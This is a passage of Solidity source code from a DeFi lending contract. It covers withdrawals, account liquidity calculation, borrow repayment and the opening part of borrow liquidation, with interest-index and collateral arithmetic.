uint256(Error.NO_ERROR); // success } /** * @notice withdraw `amount` of `ether` from sender's account to sender's address * @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function withdrawEther(address user, uint256 etherAmount) internal returns (uint256) { WETHContract.withdraw(user, etherAmount); return uint256(Error.NO_ERROR); } /** * @notice withdraw `amount` of `asset` from sender's account to sender's address * @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender * @param asset The market asset to withdraw * @param requestedAmount The amount to withdraw (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function withdraw(address asset, uint256 requestedAmount) public nonReentrant returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED ); } refreshAlkSupplyIndex(asset, msg.sender, false); Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[msg.sender][asset]; WithdrawLocalVars memory localResults; // Holds all our calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // We calculate the user's accountLiquidity and accountShortfall. ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent if (requestedAmount == uint256(-1)) { (err, localResults.withdrawCapacity) = getAssetAmountForValue( asset, localResults.accountLiquidity ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED); } localResults.withdrawAmount = min( localResults.withdrawCapacity, localResults.userSupplyCurrent ); } else { localResults.withdrawAmount = requestedAmount; } // From here on we should NOT use requestedAmount. // Fail gracefully if protocol has insufficient cash // If protocol has insufficient cash, the sub operation will underflow. localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = sub( localResults.currentCash, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE ); } // We check that the amount is less than or equal to supplyCurrent // If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW (err, localResults.userSupplyUpdated) = sub( localResults.userSupplyCurrent, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.INSUFFICIENT_BALANCE, FailureInfo.WITHDRAW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail if customer already has a shortfall if (!isZeroExp(localResults.accountShortfall)) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_ACCOUNT_SHORTFALL_PRESENT ); } // We want to know the user's withdrawCapacity, denominated in the asset // Customer's withdrawCapacity of asset is (accountLiquidity in Eth)/ (price of asset in Eth) // Equivalently, we calculate the eth value of the withdrawal amount and compare it directly to the accountLiquidity in Eth (err, localResults.ethValueOfWithdrawal) = getPriceForAssetAmount( asset, localResults.withdrawAmount ); // amount * oraclePrice = ethValueOfWithdrawal if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_AMOUNT_VALUE_CALCULATION_FAILED); } // We check that the amount is less than withdrawCapacity (here), and less than or equal to supplyCurrent (below) if ( lessThanExp( localResults.accountLiquidity, localResults.ethValueOfWithdrawal ) ) { return fail( Error.INSUFFICIENT_LIQUIDITY, FailureInfo.WITHDRAW_AMOUNT_LIQUIDITY_SHORTFALL ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply. // Note that, even though the customer is withdrawing, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, supplyBalance.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { return failOpaque( FailureInfo.WITHDRAW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = supplyBalance.principal; // save for use in `SupplyWithdrawn` event supplyBalance.principal = localResults.userSupplyUpdated; supplyBalance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) err = doTransferOut(asset, msg.sender, localResults.withdrawAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.WITHDRAW_TRANSFER_OUT_FAILED); } } else { withdrawEther(msg.sender, localResults.withdrawAmount); // send Ether to user } emit SupplyWithdrawn( msg.sender, asset, localResults.withdrawAmount, localResults.startingBalance, supplyBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @dev Gets the user's account liquidity and account shortfall balances. This includes * any accumulated interest thus far but does NOT actually update anything in * storage, it simply calculates the account liquidity and shortfall with liquidity being * returned as the first Exp, ie (Error, accountLiquidity, accountShortfall). * @return Return values are expressed in 1e18 scale */ function calculateAccountLiquidity(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { Error err; Exp memory sumSupplyValuesMantissa; Exp memory sumBorrowValuesMantissa; ( err, sumSupplyValuesMantissa, sumBorrowValuesMantissa ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } Exp memory result; Exp memory sumSupplyValuesFinal = Exp({ mantissa: sumSupplyValuesMantissa.mantissa }); Exp memory sumBorrowValuesFinal; // need to apply collateral ratio (err, sumBorrowValuesFinal) = mulExp( collateralRatio, Exp({mantissa: sumBorrowValuesMantissa.mantissa}) ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // if sumSupplies < sumBorrows, then the user is under collateralized and has account shortfall. // else the user meets the collateral ratio and has account liquidity. if (lessThanExp(sumSupplyValuesFinal, sumBorrowValuesFinal)) { // accountShortfall = borrows - supplies (err, result) = subExp(sumBorrowValuesFinal, sumSupplyValuesFinal); assert(err == Error.NO_ERROR); // Note: we have checked that sumBorrows is greater than sumSupplies directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, Exp({mantissa: 0}), result); } else { // accountLiquidity = supplies - borrows (err, result) = subExp(sumSupplyValuesFinal, sumBorrowValuesFinal); assert(err == Error.NO_ERROR); // Note: we have checked that sumSupplies is greater than sumBorrows directly above, therefore `subExp` cannot fail. return (Error.NO_ERROR, result, Exp({mantissa: 0})); } } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (error code, sum ETH value of supplies scaled by 10e18, sum ETH value of borrows scaled by 10e18) */ function calculateAccountValuesInternal(address userAddress) internal view returns ( Error, Exp memory, Exp memory ) { /** By definition, all collateralMarkets are those that contribute to the user's * liquidity and shortfall so we need only loop through those markets. * To handle avoiding intermediate negative results, we will sum all the user's * supply balances and borrow balances (with collateral ratio) separately and then * subtract the sums at the end. */ AccountValueLocalVars memory localResults; // Re-used for all intermediate results localResults.sumSupplies = Exp({mantissa: 0}); localResults.sumBorrows = Exp({mantissa: 0}); Error err; // Re-used for all intermediate errors localResults.collateralMarketsLength = collateralMarkets.length; for (uint256 i = 0; i < localResults.collateralMarketsLength; i++) { localResults.assetAddress = collateralMarkets[i]; Market storage currentMarket = markets[localResults.assetAddress]; Balance storage supplyBalance = supplyBalances[userAddress][ localResults.assetAddress ]; Balance storage borrowBalance = borrowBalances[userAddress][ localResults.assetAddress ]; if (supplyBalance.principal > 0) { // We calculate the newSupplyIndex and user’s supplyCurrent (includes interest) (err, localResults.newSupplyIndex) = calculateInterestIndex( currentMarket.supplyIndex, currentMarket.supplyRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's supply balance with interest so let's multiply by the asset price to get the total value (err, localResults.supplyTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userSupplyCurrent ); // supplyCurrent * oraclePrice = supplyValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of supplies (err, localResults.sumSupplies) = addExp( localResults.supplyTotalValue, localResults.sumSupplies ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } if (borrowBalance.principal > 0) { // We perform a similar actions to get the user's borrow balance (err, localResults.newBorrowIndex) = calculateInterestIndex( currentMarket.borrowIndex, currentMarket.borrowRateMantissa, currentMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // We have the user's borrow balance with interest so let's multiply by the asset price to get the total value (err, localResults.borrowTotalValue) = getPriceForAssetAmount( localResults.assetAddress, localResults.userBorrowCurrent ); // borrowCurrent * oraclePrice = borrowValueInEth if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } // Add this to our running sum of borrows (err, localResults.sumBorrows) = addExp( localResults.borrowTotalValue, localResults.sumBorrows ); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0}), Exp({mantissa: 0})); } } } return ( Error.NO_ERROR, localResults.sumSupplies, localResults.sumBorrows ); } /** * @notice Gets the ETH values of the user's accumulated supply and borrow balances, scaled by 10e18. * This includes any accumulated interest thus far but does NOT actually update anything in * storage * @dev Gets ETH values of accumulated supply and borrow balances * @param userAddress account for which to sum values * @return (uint 0=success; otherwise a failure (see ErrorReporter.sol for details), * sum ETH value of supplies scaled by 10e18, * sum ETH value of borrows scaled by 10e18) */ function calculateAccountValues(address userAddress) public view returns ( uint256, uint256, uint256 ) { ( Error err, Exp memory supplyValue, Exp memory borrowValue ) = calculateAccountValuesInternal(userAddress); if (err != Error.NO_ERROR) { return (uint256(err), 0, 0); } return (0, supplyValue.mantissa, borrowValue.mantissa); } /** * @notice Users repay borrowed assets from their own address to the protocol. * @param asset The market asset to repay * @param amount The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(address asset, uint256 amount) public payable nonReentrant returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail( Error.CONTRACT_PAUSED, FailureInfo.REPAY_BORROW_CONTRACT_PAUSED ); } refreshAlkBorrowIndex(asset, msg.sender, false); PayBorrowLocalVars memory localResults; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[msg.sender][asset]; Error err; uint256 rateCalculationResultCode; // We calculate the newBorrowIndex, user's borrowCurrent and borrowUpdated for the asset (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (err, localResults.userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, localResults.newBorrowIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } uint256 reimburseAmount; // If the user specifies -1 amount to repay (“max”), repayAmount => // the lesser of the senders ERC-20 balance and borrowCurrent if (asset != wethAddress) { if (amount == uint256(-1)) { localResults.repayAmount = min( getBalanceOf(asset, msg.sender), localResults.userBorrowCurrent ); } else { localResults.repayAmount = amount; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if (amount > localResults.userBorrowCurrent) { localResults.repayAmount = localResults.userBorrowCurrent; (err, reimburseAmount) = sub( amount, localResults.userBorrowCurrent ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults.repayAmount = amount; } } // Subtract the `repayAmount` from the `userBorrowCurrent` to get `userBorrowUpdated` // Note: this checks that repayAmount is less than borrowCurrent (err, localResults.userBorrowUpdated) = sub( localResults.userBorrowCurrent, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // Fail gracefully if asset is not approved or has insufficient balance // Note: this checks that repayAmount is less than or equal to their ERC-20 balance if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE ); } } // We calculate the protocol's totalBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the customer is paying some of their borrow, if they've accumulated a lot of interest since their last // action, the updated balance *could* be higher than the prior checkpointed balance. (err, localResults.newTotalBorrows) = addThenSub( market.totalBorrows, localResults.userBorrowUpdated, borrowBalance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_BORROW_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add( localResults.currentCash, localResults.repayAmount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_TOTAL_CASH_CALCULATION_FAILED ); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. // We calculate the newSupplyIndex, but we have newBorrowIndex already (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.REPAY_BORROW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate( asset, localResults.updatedCash, localResults.newTotalBorrows ); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.REPAY_BORROW_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalBorrows = localResults.newTotalBorrows; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = borrowBalance.principal; // save for use in `BorrowRepaid` event borrowBalance.principal = localResults.userBorrowUpdated; borrowBalance.interestIndex = localResults.newBorrowIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, localResults.repayAmount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.REPAY_BORROW_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther( msg.sender, localResults.repayAmount ); //Repay excess funds if (reimburseAmount > 0) { revertEtherToUser(msg.sender, reimburseAmount); } if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } supplyOriginationFeeAsAdmin( asset, msg.sender, localResults.repayAmount, market.supplyIndex ); emit BorrowRepaid( msg.sender, asset, localResults.repayAmount, localResults.startingBalance, borrowBalance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice users repay all or some of an underwater borrow and receive collateral * @param targetAccount The account whose borrow should be liquidated * @param assetBorrow The market asset to repay * @param assetCollateral The borrower's market asset to receive in exchange * @param requestedAmountClose The amount to repay (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow( address targetAccount, address assetBorrow, address assetCollateral, uint256 requestedAmountClose ) public payable returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.LIQUIDATE_CONTRACT_PAUSED ); } refreshAlkSupplyIndex(assetCollateral, targetAccount, false); refreshAlkSupplyIndex(assetCollateral, msg.sender, false); refreshAlkBorrowIndex(assetBorrow, targetAccount, false); LiquidateLocalVars memory localResults; // Copy these addresses into the struct for use with `emitLiquidationEvent` // We'll use localResults.liquidator inside this function for clarity vs using msg.sender. localResults.targetAccount = targetAccount; localResults.assetBorrow = assetBorrow; localResults.liquidator = msg.sender; localResults.assetCollateral = assetCollateral; Market storage borrowMarket = markets[assetBorrow]; Market storage collateralMarket = markets[assetCollateral]; Balance storage borrowBalance_TargeUnderwaterAsset = borrowBalances[ targetAccount ][assetBorrow]; Balance storage supplyBalance_TargetCollateralAsset = supplyBalances[ targetAccount ][assetCollateral]; // Liquidator might already hold some of the collateral asset Balance storage supplyBalance_LiquidatorCollateralAsset = supplyBalances[localResults.liquidator][assetCollateral]; uint256 rateCalculationResultCode; // Used for multiple interest rate calculation calls Error err; // re-used for all intermediate errors (err, localResults.collateralPrice) = fetchAssetPrice(assetCollateral); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_FETCH_ASSET_PRICE_FAILED); } (err, localResults.underwaterAssetPrice) = fetchAssetPrice(assetBorrow); // If the price oracle is not set, then we would have failed on the first call to fetchAssetPrice assert(err == Error.NO_ERROR); // We calculate newBorrowIndex_UnderwaterAsset and then use it to help calculate currentBorrowBalance_TargetUnderwaterAsset ( err, localResults.newBorrowIndex_UnderwaterAsset ) = calculateInterestIndex( borrowMarket.borrowIndex, borrowMarket.borrowRateMantissa, borrowMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_BORROW_INDEX_CALCULATION_FAILED_BORROWED_ASSET ); } ( err, localResults.currentBorrowBalance_TargetUnderwaterAsset ) = calculateBalance( borrowBalance_TargeUnderwaterAsset.principal, borrowBalance_TargeUnderwaterAsset.interestIndex, localResults.newBorrowIndex_UnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_BORROW_BALANCE_CALCULATION_FAILED ); } // We calculate newSupplyIndex_CollateralAsset and then use it to help calculate currentSupplyBalance_TargetCollateralAsset ( err, localResults.newSupplyIndex_CollateralAsset ) = calculateInterestIndex( collateralMarket.supplyIndex, collateralMarket.supplyRateMantissa, collateralMarket.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_SUPPLY_INDEX_CALCULATION_FAILED_COLLATERAL_ASSET ); } ( err, localResults.currentSupplyBalance_TargetCollateralAsset ) = calculateBalance( supplyBalance_TargetCollateralAsset.principal, supplyBalance_TargetCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Liquidator may or may not already have some collateral asset. // If they do, we need to accumulate interest on it before adding the seized collateral to it. // We re-use newSupplyIndex_CollateralAsset calculated above to help calculate currentSupplyBalance_LiquidatorCollateralAsset ( err, localResults.currentSupplyBalance_LiquidatorCollateralAsset ) = calculateBalance( supplyBalance_LiquidatorCollateralAsset.principal, supplyBalance_LiquidatorCollateralAsset.interestIndex, localResults.newSupplyIndex_CollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_ACCUMULATED_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We update the protocol's totalSupply for assetCollateral in 2 steps, first by adding target user's accumulated // interest and then by adding the liquidator's accumulated interest. // Step 1 of 2: We add the target user's supplyCurrent and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the target user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( collateralMarket.totalSupply, localResults.currentSupplyBalance_TargetCollateralAsset, supplyBalance_TargetCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_BORROWER_COLLATERAL_ASSET ); } // Step 2 of 2: We add the liquidator's supplyCurrent of collateral asset and subtract their checkpointedBalance // (which has the desired effect of adding accrued interest from the calling user) (err, localResults.newTotalSupply_ProtocolCollateralAsset) = addThenSub( localResults.newTotalSupply_ProtocolCollateralAsset, localResults.currentSupplyBalance_LiquidatorCollateralAsset, supplyBalance_LiquidatorCollateralAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_SUPPLY_BALANCE_CALCULATION_FAILED_LIQUIDATOR_COLLATERAL_ASSET ); } // We calculate maxCloseableBorrowAmount_TargetUnderwaterAsset, the amount of borrow that can be closed from the target user // This is equal to the lesser of // 1. borrowCurrent; (already calculated) // 2. ONLY IF MARKET SUPPORTED: discountedRepayToEvenAmount: // discountedRepayToEvenAmount= // shortfall / [Oracle price for the borrow * (collateralRatio - liquidationDiscount - 1)] // 3. discountedBorrowDenominatedCollateral // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) // Here we calculate item 3. discountedBorrowDenominatedCollateral = // [supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) ( err, localResults.discountedBorrowDenominatedCollateral ) = calculateDiscountedBorrowDenominatedCollateral( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.currentSupplyBalance_TargetCollateralAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_BORROW_DENOMINATED_COLLATERAL_CALCULATION_FAILED ); } if (borrowMarket.isSupported) { // Market is supported, so we calculate item 2 from above. ( err, localResults.discountedRepayToEvenAmount ) = calculateDiscountedRepayToEvenAmount( targetAccount, localResults.underwaterAssetPrice, assetBorrow ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_DISCOUNTED_REPAY_TO_EVEN_AMOUNT_CALCULATION_FAILED ); } // We need to do a two-step min to select from all 3 values // min1&3 = min(item 1, item 3) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); // min1&3&2 = min(min1&3, 2) localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset, localResults.discountedRepayToEvenAmount ); } else { // Market is not supported, so we don't need to calculate item 2. localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset = min( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.discountedBorrowDenominatedCollateral ); } // If liquidateBorrowAmount = -1, then closeBorrowAmount_TargetUnderwaterAsset = maxCloseableBorrowAmount_TargetUnderwaterAsset if (assetBorrow != wethAddress) { if (requestedAmountClose == uint256(-1)) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } else { // To calculate the actual repay use has to do and reimburse the excess amount of ETH collected if ( requestedAmountClose > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { localResults .closeBorrowAmount_TargetUnderwaterAsset = localResults .maxCloseableBorrowAmount_TargetUnderwaterAsset; (err, localResults.reimburseAmount) = sub( requestedAmountClose, localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ); // reimbursement called at the end to make sure function does not have any other errors if (err != Error.NO_ERROR) { return fail( err, FailureInfo .REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } } else { localResults .closeBorrowAmount_TargetUnderwaterAsset = requestedAmountClose; } } // From here on, no more use of `requestedAmountClose` // Verify closeBorrowAmount_TargetUnderwaterAsset <= maxCloseableBorrowAmount_TargetUnderwaterAsset if ( localResults.closeBorrowAmount_TargetUnderwaterAsset > localResults.maxCloseableBorrowAmount_TargetUnderwaterAsset ) { return fail( Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_TOO_HIGH ); } // seizeSupplyAmount_TargetCollateralAsset = closeBorrowAmount_TargetUnderwaterAsset * priceBorrow/priceCollateral *(1+liquidationDiscount) ( err, localResults.seizeSupplyAmount_TargetCollateralAsset ) = calculateAmountSeize( localResults.underwaterAssetPrice, localResults.collateralPrice, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.LIQUIDATE_AMOUNT_SEIZE_CALCULATION_FAILED ); } // We are going to ERC-20 transfer closeBorrowAmount_TargetUnderwaterAsset of assetBorrow into protocol // Fail gracefully if asset is not approved or has insufficient balance if (assetBorrow != wethAddress) { // WETH is supplied to AlkemiEarnPublic contract in case of ETH automatically err = checkTransferIn( assetBorrow, localResults.liquidator, localResults.closeBorrowAmount_TargetUnderwaterAsset ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.LIQUIDATE_TRANSFER_IN_NOT_POSSIBLE); } } // We are going to repay the target user's borrow using the calling user's funds // We update the protocol's totalBorrow for assetBorrow, by subtracting the target user's prior checkpointed balance, // adding borrowCurrent, and subtracting closeBorrowAmount_TargetUnderwaterAsset. // Subtract the `closeBorrowAmount_TargetUnderwaterAsset` from the `currentBorrowBalance_TargetUnderwaterAsset` to get `updatedBorrowBalance_TargetUnderwaterAsset` (err, localResults.updatedBorrowBalance_TargetUnderwaterAsset) = sub( localResults.currentBorrowBalance_TargetUnderwaterAsset, localResults.closeBorrowAmount_TargetUnderwaterAsset ); // We have ensured above that localResults.closeBorrowAmount_TargetUnderwaterAsset <= localResults.currentBorrowBalance_TargetUnderwaterAsset, so the sub can't underflow assert(err == Error.NO_ERROR); // We calculate the protocol's totalBorrow for assetBorrow by subtracting the user's prior checkpointed balance, adding user's updated borrow // Note that, even though the liquidator is paying some of the borrow, if the borrow has accumulated a lot of interest since the last // action, the updated balance *could* be higher than the prior checkpointed balance. ( err, localResults.newTotalBorrows_ProtocolUnderwaterAsset ) = addThenSub( borrowMarket.totalBorrows, localResults.updatedBorrowBalance_TargetUnderwaterAsset, borrowBalance_TargeUnderwaterAsset.principal ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo .LIQUIDATE_NEW_TOTAL_BORROW_CALCULATION_FAILED_BORROWED_ASSET ); } // We need to calculate what the updated cash will be after we transfer in from liquidator 